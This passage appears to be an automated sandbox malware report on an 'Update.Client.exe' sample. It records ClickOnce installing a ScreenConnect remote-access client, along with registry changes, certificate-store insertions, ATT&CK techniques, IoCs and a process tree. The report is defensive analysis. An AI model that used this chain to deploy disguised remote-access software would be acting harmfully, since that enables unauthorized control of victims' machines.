Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\SizeOfStronglyNamedComponent = e711030000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\DigestMethod = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Assemblies	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Visibility	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\scre..tion_25b0fbb6ef7eb = 3c004100700070006c00690063006100740069006f006e00540072007500730074002000760065007200730069006f006e003d002200310022000d000a00460075006c006c004e0061006d0065003d002200680074007400700073003a002f002f0077006900730065002e00730063007200650065006e006e006500630074002e0063006f006d002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002300530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006100700070006c00690063006100740069006f006e002c002000560065007200730069006f006e003d00320034002e0033002e0037002e0039003000360037002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0032003500620030006600620062003600650066003700650062003000390034002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002f00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e006500780065002c002000560065007200730069006f006e003d00320034002e0033002e0037002e0039003000360037002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d0032003500620030006600620062003600650066003700650062003000390034002c002000700072006f0063006500730073006f0072004100720063006800690074006500630074007500720065003d006d00730069006c002c00200074007900700065003d00770069006e003300320022000d000a00540072007500730074006500640054006f00520075006e003d002200740072007500650022000d000a0050006500720073006900730074003d002200740072007500650022003e000d000a003c00440065006600610075006c0074004700720061006e0074003e000d000a003c0050006f006c00690063007900530074006100740065006d0065006e0074002000760065007200730069006f006e003d002200310022003e000d000a003c005000650072006d0069007300730069006f006e00530065007400200063006c006100730073003d002200530079007300740065006d002e00530065006300750072006900740079002e005000650072006d0069007300730069006f006e0053006500740022000d000a00760065007200730069006f006e003d002200310022000d000a00490044003d00220043007500730074006f006d0022000d000a00530061006d00650053006900740065003d002200730069007400650022000d000a0055006e0072006500730074007200690063007400650064003d002200740072007500650022000d000a0078006d006c006e0073003a00610073006d00760031003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600310022000d000a0078006d006c006e0073003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600320022000d000a0078006d006c006e0073003a00610073006d00760032003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600320022000d000a0078006d006c006e0073003a007800730069003d00220068007400740070003a002f002f007700770077002e00770033002e006f00720067002f0032003000300031002f0058004d004c0053006300680065006d0061002d0069006e007300740061006e006300650022000d000a0078006d006c006e0073003a0063006f002e00760031003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a0063006c00690063006b006f006e00630065002e007600310022000d000a0078006d006c006e0073003a00610073006d00760033003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a00610073006d002e007600330022000d000a0078006d006c006e0073003a0064007300690067003d00220068007400740070003a002f002f007700770077002e00770033002e006f00720067002f0032003000300030002f00300039002f0078006d006c006400730069006700230022000d000a0078006d006c006e0073003a0063006f002e00760032003d002200750072006e003a0073006300680065006d00610073002d006d006900630072006f0073006f00660074002d0063006f006d003a0063006c00690063006b006f006e00630065002e007600320022003e000d000a003c0049005000650072006d0069007300730069006f006e00200063006c006100730073003d002200530079007300740065006d002e004e00650074002e005700650062005000650072006d0069007300730069006f006e002c002000530079007300740065006d002c002000560065007200730069006f006e003d0032002e0030002e0030002e0030002c002000430075006c0074007500720065003d006e00650075007400720061006c002c0020005000750062006c00690063004b006500790054006f006b0065006e003d00620037003700610035006300350036003100390033003400650030003800390022000d000a00760065007200730069006f006e003d002200310022003e000d000a003c0043006f006e006e006500630074004100630063006500730073003e000d000a003c0055005200490020007500720069003d00220028006800740074007000730029003a002f002f0077006900730065005c002e00730063007200650065006e006e006500630074005c002e0063006f006d002f002e002a0022002f003e000d000a003c002f0043006f006e006e006500630074004100630063006500730073003e000d000a003c002f0049005000650072006d0069007300730069006f006e003e000d000a003c002f005000650072006d0069007300730069006f006e005300650074003e000d000a003c002f0050006f006c00690063007900530074006100740065006d0065006e0074003e000d000a003c002f00440065006600610075006c0074004700720061006e0074003e000d000a003c004500780074007200610049006e0066006f00200044006100740061003d00220030003000300031003000300030003000300030004600460046004600460046004600460030003100300030003000300030003000300030003000300030003000300030003000430030003200300030003000300030003000350037003500330037003900370033003700340036003500360044003200450035003700360039003600450036003400360046003700370037003300320045003400360036004600370032003600440037003300320043003200300035003600360035003700320037003300360039003600460036004500330044003300340032004500330030003200450033003000320045003300300032004300320030003400330037003500360043003700340037003500370032003600350033004400360045003600350037003500370034003700320036003100360043003200430032003000350030003700350036003200360043003600390036003300340042003600350037003900350034003600460036004200360035003600450033004400360032003300370033003700360031003300350036003300330035003300360033003100330039003300330033003400360035003300300033003800330039003000350030003100300030003000300030003000330030003500330037003900370033003700340036003500360044003200450035003300360035003600330037003500370032003600390037003400370039003200450035003000360046003600430036003900360033003700390032004500340031003700300037003000360043003600390036003300360031003700340036003900360046003600450035003400370032003700350037003300370034003400350037003800370034003700320036003100340039003600450036003600360046003000310030003000300030003000300031003800370032003600350037003100370035003600350037003300370034003700330035003300360038003600350036004300360043003400390036004500370034003600350036003700370032003600310037003400360039003600460036004500300030003000310030003200300030003000300030003000300030003000420022002f003e000d000a003c002f004100700070006c00690063006100740069006f006e00540072007500730074003e000d000a000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 32003000320035002f00300033002f00300037002000310034003a00330037003a00330035000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\DigestMethod = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\Files	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\VisibilityRoots	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\identity = 53637265656e436f6e6e6563742e57696e646f77732c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\DigestValue = f271ebc2542397e59c3d57d30cc54bf1d9db4f69	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Installations	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575\lock!02000000a023580eb4130000340a0000000000000000000 = 30303030313362342c30316462386636653738303362376636	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\NonCanonicalData	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2f53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.WindowsFileManager.exe_0e21 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036\SizeOfStronglyNamedComponent = 44621a0000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\lock!0c0000006223580ec0070000b8070000000000000000000 = 30303030303763302c30316462386636653638633261393065	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\lock!0c000000a023580eb4130000340a0000000000000000000 = 30303030313362342c30316462386636653738303362376636	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\implication!scre..tion_25b0fbb6ef7eb094_0018.0003_0b = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a449	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a449 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components	ScreenConnect.WindowsClient.exe

Modifies system certificate store 2 TTPs 4 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	Update.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	Update.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	Update.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3835819470-2031661444-2626789713-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	Update.Client.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe
1132	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	dfsvc.exe
Token: SeDebugPrivilege	1132	ScreenConnect.ClientService.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1176 wrote to memory of 1984	1176	Update.Client.exe	78
PID 1176 wrote to memory of 1984	1176	Update.Client.exe	78
PID 1984 wrote to memory of 5044	1984	dfsvc.exe	79
PID 1984 wrote to memory of 5044	1984	dfsvc.exe	79
PID 1984 wrote to memory of 5044	1984	dfsvc.exe	79
PID 5044 wrote to memory of 740	5044	ScreenConnect.WindowsClient.exe	80
PID 5044 wrote to memory of 740	5044	ScreenConnect.WindowsClient.exe	80
PID 5044 wrote to memory of 740	5044	ScreenConnect.WindowsClient.exe	80
PID 1132 wrote to memory of 1364	1132	ScreenConnect.ClientService.exe	82
PID 1132 wrote to memory of 1364	1132	ScreenConnect.ClientService.exe	82
PID 1132 wrote to memory of 1364	1132	ScreenConnect.ClientService.exe	82
PID 1132 wrote to memory of 2336	1132	ScreenConnect.ClientService.exe	83
PID 1132 wrote to memory of 2336	1132	ScreenConnect.ClientService.exe	83
PID 1132 wrote to memory of 2336	1132	ScreenConnect.ClientService.exe	83

C:\Users\Admin\AppData\Local\Temp\Update.Client.exe
"C:\Users\Admin\AppData\Local\Temp\Update.Client.exe"
1⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1176
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Downloads MZ/PE file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
